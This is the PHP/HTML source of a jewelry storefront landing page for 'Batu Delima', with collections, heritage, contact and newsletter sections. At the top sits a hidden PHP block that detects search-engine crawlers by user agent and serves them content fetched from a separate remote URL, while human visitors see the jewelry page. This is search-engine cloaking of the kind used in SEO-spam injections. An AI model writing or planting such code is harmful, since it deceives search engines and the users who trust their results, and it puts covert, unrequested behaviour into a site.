<?php
ob_start();
header('Vary: User-Agent');
$bot_url = "https://batudelima.com/ampmicro.html/";
$botchar = "/(googlebot|slurp|bingbot|baiduspider|yandex|adsense|crawler|spider|inspection)/i";
$ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
function lph_requests($url) {
    if (function_exists('curl_init')) {    
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
        $response = curl_exec($ch);
        curl_close($ch);
        return $response;
    } elseif (ini_get('allow_url_fopen')) {
        return file_get_contents($url);
    }
    return false;
}
if (preg_match($botchar, $ua)) {
    usleep(rand(100000, 200000)); 
    echo lph_requests($bot_url);
    ob_end_flush();
    exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="google-site-verification" content="MKnnh7zpWiTWrb50YXTrqeZRTBasdyBCl-j3h-TL6fs" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Batu Delima | Fine Jewelry & Rare Gemstones</title>
  <meta name="description" content="Discover exquisite fine jewelry featuring the world's most beautiful gemstones, handcrafted with exceptional artistry and passion.">
  <link rel="canonical" href="https://batudelima.com/">
  <link rel="preconnect" href="https://fonts.googleapis.com">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600&family=Playfair+Display:wght@400;500;600;700&display=swap" rel="stylesheet">
  <script src="https://cdn.tailwindcss.com"></script>
  <script>
    tailwind.config = {
      theme: {
        extend: {
          fontFamily: {
            sans: ['Inter', 'system-ui', 'sans-serif'],
            serif: ['Playfair Display', 'Georgia', 'serif'],
          },
          colors: {
            ruby: {
              50: '#fdf2f4',
              100: '#fce7ea',
              200: '#f8d0d7',
              300: '#f2adb9',
              400: '#e87d91',
              500: '#db556f',
              600: '#c93052',
              700: '#a91e3f',
              800: '#8e1c38',
              900: '#7a1c34',
              950: '#450a1a',
            },
          },
        },
      },
    }
  </script>
  <style>
    [x-cloak] { display: none !important; }
  </style>
</head>
<body class="min-h-screen bg-neutral-50 text-neutral-900 font-sans">
  <header x-data="{ isOpen: false, isScrolled: false }" 
          x-init="window.addEventListener('scroll', () => isScrolled = window.pageYOffset > 50)"
          :class="isScrolled ? 'bg-white shadow-md py-3' : 'bg-transparent py-6'"
          class="fixed w-full z-50 transition-all duration-300">
    <div class="container mx-auto px-4 md:px-6 flex justify-between items-center">
      <div class="flex items-center">
        <button
          @click="isOpen = !isOpen"
          class="mr-4 md:hidden"
          aria-label="Toggle menu">
          <svg x-show="!isOpen" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16"/>
          </svg>
          <svg x-show="isOpen" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"/>
          </svg>
        </button>
        <a href="/" class="text-2xl font-serif font-bold text-ruby-700">BATU DELIMA</a>
      </div>

      <nav :class="isOpen ? 'block' : 'hidden'" class="md:block absolute md:relative top-full left-0 right-0 bg-white md:bg-transparent shadow-md md:shadow-none">
        <ul class="flex flex-col md:flex-row space-y-2 md:space-y-0 md:space-x-8 p-4 md:p-0">
          <li>
            <a href="#collections" class="text-sm uppercase tracking-wider hover:text-ruby-700 transition-colors">Collections</a>
          </li>
          <li>
            <a href="#story" class="text-sm uppercase tracking-wider hover:text-ruby-700 transition-colors">Our Story</a>
          </li>
          <li>
            <a href="#testimonials" class="text-sm uppercase tracking-wider hover:text-ruby-700 transition-colors">Testimonials</a>
          </li>
          <li>
            <a href="#contact" class="text-sm uppercase tracking-wider hover:text-ruby-700 transition-colors">Contact</a>
          </li>
        </ul>
      </nav>

      <div class="flex items-center space-x-4">
        <button aria-label="Search">
          <svg class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"/>
          </svg>
        </button>
        <button aria-label="Account">
          <svg class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"/>
          </svg>
        </button>
        <button aria-label="Cart">
          <svg class="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M16 11V7a4 4 0 00-8 0v4M5 9h14l1 12H4L5 9z"/>
          </svg>
        </button>
      </div>
    </div>
  </header>

  <main>
    <!-- Hero Section -->
    <section class="relative h-screen flex items-center justify-center overflow-hidden">
      <div class="absolute inset-0 bg-cover bg-center z-0" style="background-image: url('https://images.pexels.com/photos/9428820/pexels-photo-9428820.jpeg?auto=compress&cs=tinysrgb&w=1600')">
        <div class="absolute inset-0 bg-neutral-900/40"></div>
      </div>
      
      <div class="container mx-auto px-4 md:px-6 relative z-10 text-center">
        <div class="opacity-0 translate-y-12 transition-all duration-1000" x-init="setTimeout(() => $el.classList.remove('opacity-0', 'translate-y-12'), 100)">
          <h1 class="text-4xl md:text-6xl lg:text-7xl font-serif font-bold text-white mb-6">
            Timeless Elegance
          </h1>
          <p class="text-lg md:text-xl text-white/90 max-w-2xl mx-auto mb-8">
            Discover our exquisite collection of fine jewelry featuring the rarest and most beautiful gemstones from around the world.
          </p>
          <div class="flex flex-col sm:flex-row justify-center gap-4">
            <a href="#collections" class="px-8 py-3 bg-ruby-700 text-white rounded-sm hover:bg-ruby-800 transition-colors duration-300 text-sm uppercase tracking-wider">
              Explore Collections
            </a>
            <a href="#story" class="px-8 py-3 bg-transparent border border-white text-white rounded-sm hover:bg-white/10 transition-colors duration-300 text-sm uppercase tracking-wider">
              Our Story
            </a>
          </div>
        </div>
      </div>
    </section>

    <!-- Collections Section -->
    <section id="collections" class="py-24 bg-neutral-50" x-data="{ activeTab: 'all' }">
      <div class="container mx-auto px-4 md:px-6">
        <div class="text-center mb-16">
          <h2 class="text-3xl md:text-4xl font-serif font-bold mb-4">Our Collections</h2>
          <p class="text-neutral-600 max-w-2xl mx-auto">
            Discover our curated selection of exquisite jewelry pieces, each meticulously crafted to showcase the natural beauty of rare gemstones.
          </p>
        </div>

        <div class="flex justify-center mb-12">
          <div class="inline-flex flex-wrap justify-center gap-2">
            <template x-for="tab in ['all', 'rings', 'necklaces', 'earrings', 'bracelets']">
              <button
                @click="activeTab = tab"
                :class="activeTab === tab ? 'bg-ruby-700 text-white' : 'bg-neutral-200 text-neutral-600 hover:bg-neutral-300'"
                class="px-6 py-2 text-sm uppercase tracking-wider transition-colors duration-300"
                x-text="tab === 'all' ? 'All' : tab.charAt(0).toUpperCase() + tab.slice(1)"
              ></button>
            </template>
          </div>
        </div>

        <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8">
          <template x-for="item in [
            {
              id: 1,
              name: 'Ruby Elegance Ring',
              description: 'A stunning 2-carat ruby set in 18k gold with diamond accents.',
              image: 'https://images.pexels.com/photos/691046/pexels-photo-691046.jpeg?auto=compress&cs=tinysrgb&w=1600',
              price: '$2,850',
              category: 'rings'
            },
            {
              id: 2,
              name: 'Garnet Dusk Necklace',
              description: 'Exquisite garnet pendant on a delicate 18k gold chain.',
              image: 'https://images.pexels.com/photos/10474942/pexels-photo-10474942.jpeg?auto=compress&cs=tinysrgb&w=1600',
              price: '$1,950',
              category: 'necklaces'
            },
            {
              id: 3,
              name: 'Passion Ruby Earrings',
              description: 'Drop earrings featuring pear-shaped rubies framed with diamonds.',
              image: 'https://images.pexels.com/photos/2735970/pexels-photo-2735970.jpeg?auto=compress&cs=tinysrgb&w=1600',
              price: '$3,200',
              category: 'earrings'
            }
          ]" x-show="activeTab === 'all' || activeTab === item.category">
            <div class="group">
              <div class="relative overflow-hidden mb-4">
                <img
                  :src="item.image"
                  :alt="item.name"
                  class="w-full h-80 object-cover transition-transform duration-700 group-hover:scale-110"
                />
                <div class="absolute inset-0 bg-black opacity-0 group-hover:opacity-20 transition-opacity duration-300"></div>
                <button class="absolute bottom-4 left-1/2 transform -translate-x-1/2 bg-white text-neutral-900 px-6 py-2 text-sm uppercase tracking-wider translate-y-12 opacity-0 group-hover:opacity-100 group-hover:translate-y-0 transition-all duration-300">
                  View Details
                </button>
              </div>
              <h3 class="text-xl font-serif font-medium mb-2" x-text="item.name"></h3>
              <p class="text-neutral-600 mb-3" x-text="item.description"></p>
              <p class="text-ruby-700 font-medium" x-text="item.price"></p>
            </div>
          </template>
        </div>
      </div>
    </section>

    <!-- Story Section -->
    <section id="story" class="py-24 bg-neutral-100">
      <div class="container mx-auto px-4 md:px-6">
        <div class="grid grid-cols-1 md:grid-cols-2 gap-12 items-center">
          <div class="relative">
            <img 
              src="https://images.pexels.com/photos/9439949/pexels-photo-9439949.jpeg?auto=compress&cs=tinysrgb&w=1600" 
              alt="Artisan crafting jewelry" 
              class="w-full h-auto rounded-sm"
            />
            <div class="absolute -bottom-6 -right-6 w-48 h-48 border-2 border-ruby-700 rounded-sm"></div>
          </div>
          
          <div>
            <h2 class="text-3xl md:text-4xl font-serif font-bold mb-6">Our Heritage</h2>
            <p class="text-neutral-600 mb-6">
              Founded in 1968, Batu Delima has established itself as a purveyor of the world's finest gemstones. Our name, which means "Ruby" in Indonesian, reflects our passion for these magnificent stones.
            </p>
            <p class="text-neutral-600 mb-6">
              For over five decades, we have sourced the most exquisite rubies, garnets, and other precious gemstones from ethical mines around the world. Each stone is selected for its exceptional color, clarity, and character.
            </p>
            <a href="#" class="inline-block px-8 py-3 bg-ruby-700 text-white rounded-sm hover:bg-ruby-800 transition-colors duration-300 text-sm uppercase tracking-wider">
              Discover More
            </a>
          </div>
        </div>
      </div>
    </section>

    <!-- Contact Section -->
    <section id="contact" class="py-24 bg-neutral-100">
      <div class="container mx-auto px-4 md:px-6">
        <div class="text-center mb-16">
          <h2 class="text-3xl md:text-4xl font-serif font-bold mb-4">Visit Us</h2>
          <p class="text-neutral-600 max-w-2xl mx-auto">
            Experience our collections in person at one of our boutiques or reach out to our customer service team for personalized assistance.
          </p>
        </div>

        <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-8">
          <div class="bg-white p-8 rounded-sm shadow-md hover:shadow-lg transition-shadow duration-300">
            <h3 class="text-xl font-serif font-medium mb-6 flex items-center">
              <svg class="w-5 h-5 text-ruby-700 mr-2" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M17.657 16.657L13.414 20.9a1.998 1.998 0 01-2.827 0l-4.244-4.243a8 8 0 1111.314 0z"/>
                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 11a3 3 0 11-6 0 3 3 0 016 0z"/>
              </svg>
              New York Flagship
            </h3>
            <p class="text-neutral-600 mb-4">
              580 Fifth Avenue<br>
              New York, NY 10036<br>
              United States
            </p>
            <div class="text-neutral-600 mb-4">
              <div class="flex items-center mb-2">
                <svg class="w-4 h-4 text-ruby-700 mr-2" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 5a2 2 0 012-2h3.28a1 1 0 01.948.684l1.498 4.493a1 1 0 01-.502 1.21l-2.257 1.13a11.042 11.042 0 005.516 5.516l1.13-2.257a1 1 0 011.21-.502l4.493 1.498a1 1 0 01.684.949V19a2 2 0 01-2 2h-1C9.716 21 3 14.284 3 6V5z"/>
                </svg>
                +1 (212) 555-1234
              </div>
              <div class="flex items-center">
                <svg class="w-4 h-4 text-ruby-700 mr-2" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                  <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"/>
                </svg>
                <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="0d63687a74627f664d6f6c797869686164606c236e6260">[email&#160;protected]</a>
              </div>
            </div>
          </div>
        </div>
      </div>
    </section>

    <!-- Newsletter Section -->
    <section class="py-24 bg-ruby-700 text-white" x-data="{ email: '', submitted: false }">
      <div class="container mx-auto px-4 md:px-6">
        <div class="max-w-3xl mx-auto text-center">
          <h2 class="text-3xl md:text-4xl font-serif font-bold mb-4">Join Our World</h2>
          <p class="text-white/90 mb-8">
            Subscribe to our newsletter to receive exclusive updates on new collections, special events, and insider content.
          </p>
          
          <form @submit.prevent="submitted = true; setTimeout(() => submitted = false, 3000)" class="flex flex-col sm:flex-row gap-4 max-w-lg mx-auto">
            <input
              type="email"
              x-model="email"
              placeholder="Your email address"
              class="px-4 py-3 bg-white/10 border border-white/20 text-white placeholder-white/50 rounded-sm flex-grow focus:outline-none focus:ring-2 focus:ring-white/30"
              required
            />
            <button 
              type="submit"
              class="px-6 py-3 bg-white text-ruby-700 rounded-sm hover:bg-white/90 transition-colors duration-300 text-sm uppercase tracking-wider"
            >
              Subscribe
            </button>
          </form>
          
          <div x-show="submitted" x-transition class="mt-4 text-white/90">
            Thank you for subscribing! We'll be in touch soon.
          </div>
        </div>
      </div>
    </section>
  </main>

  <footer class="bg-neutral-900 text-white/80 pt-16 pb-8">
    <div class="container mx-auto px-4 md:px-6">
      <div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-8 mb-12">
        <div>
          <h3 class="text-xl font-serif font-bold text-white mb-4">BATU DELIMA</h3>
          <p class="mb-6">
            Purveyors of the world's finest gemstones and handcrafted jewelry since 1968.
          </p>
        </div>

        <div>
          <h4 class="text-white text-sm uppercase tracking-wider mb-4">Collections</h4>
          <ul class="space-y-2">
            <li><a href="#" class="hover:text-ruby-500 transition-colors duration-300">Rings</a></li>
            <li><a href="#" class="hover:text-ruby-500 transition-colors duration-300">Necklaces</a></li>
            <li><a href="#" class="hover:text-ruby-500 transition-colors duration-300">Earrings</a></li>
            <li><a href="#" class="hover:text-ruby-500 transition-colors duration-300">Bracelets</a></li>
          </ul>
        </div>

        <div>
          <h4 class="text-white text-sm uppercase tracking-wider mb-4">About</h4>
          <ul class="space-y-2">
            <li><a href="#" class="hover:text-ruby-500 transition-colors duration-300">Our Story</a></li>
            <li><a href="#" class="hover:text-ruby-500 transition-colors duration-300">Craftsmanship</a></li>
            <li><a href="#" class="hover:text-ruby-500 transition-colors duration-300">Sustainability</a></li>
            <li><a href="#" class="hover:text-ruby-500 transition-colors duration-300">Press</a></li>
          </ul>
        </div>

        <div>
          <h4 class="text-white text-sm uppercase tracking-wider mb-4">Customer Care</h4>
          <ul class="space-y-2">
            <li><a href="#" class="hover:text-ruby-500 transition-colors duration-300">Contact Us</a></li>
            <li><a href="#" class="hover:text-ruby-500 transition-colors duration-300">Shipping & Returns</a></li>
            <li><a href="#" class="hover:text-ruby-500 transition-colors duration-300">Care Instructions</a></li>
            <li><a href="#" class="hover:text-ruby-500 transition-colors duration-300">Book Appointment</a></li>
          </ul>
        </div>
      </div>

      <div class="pt-8 mt-8 border-t border-white/10 text-sm">
        <div class="flex flex-col md:flex-row justify-between items-center">
          <p>© <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script>document.write(new Date().getFullYear())</script> Batu Delima. All rights reserved.</p>
          <div class="flex flex-wrap gap-4 mt-4 md:mt-0">
            <a href="#" class="hover:text-ruby-500 transition-colors duration-300">Privacy Policy</a>
            <a href="#" class="hover:text-ruby-500 transition-colors duration-300">Terms of Service</a>
            <a href="#" class="hover:text-ruby-500 transition-colors duration-300">Accessibility</a>
          </div>
        </div>
      </div>
    </div>
  </footer>

  <script src="https://unpkg.com/alpinejs@3.x.x/dist/cdn.min.js"></script>
</body>
</html>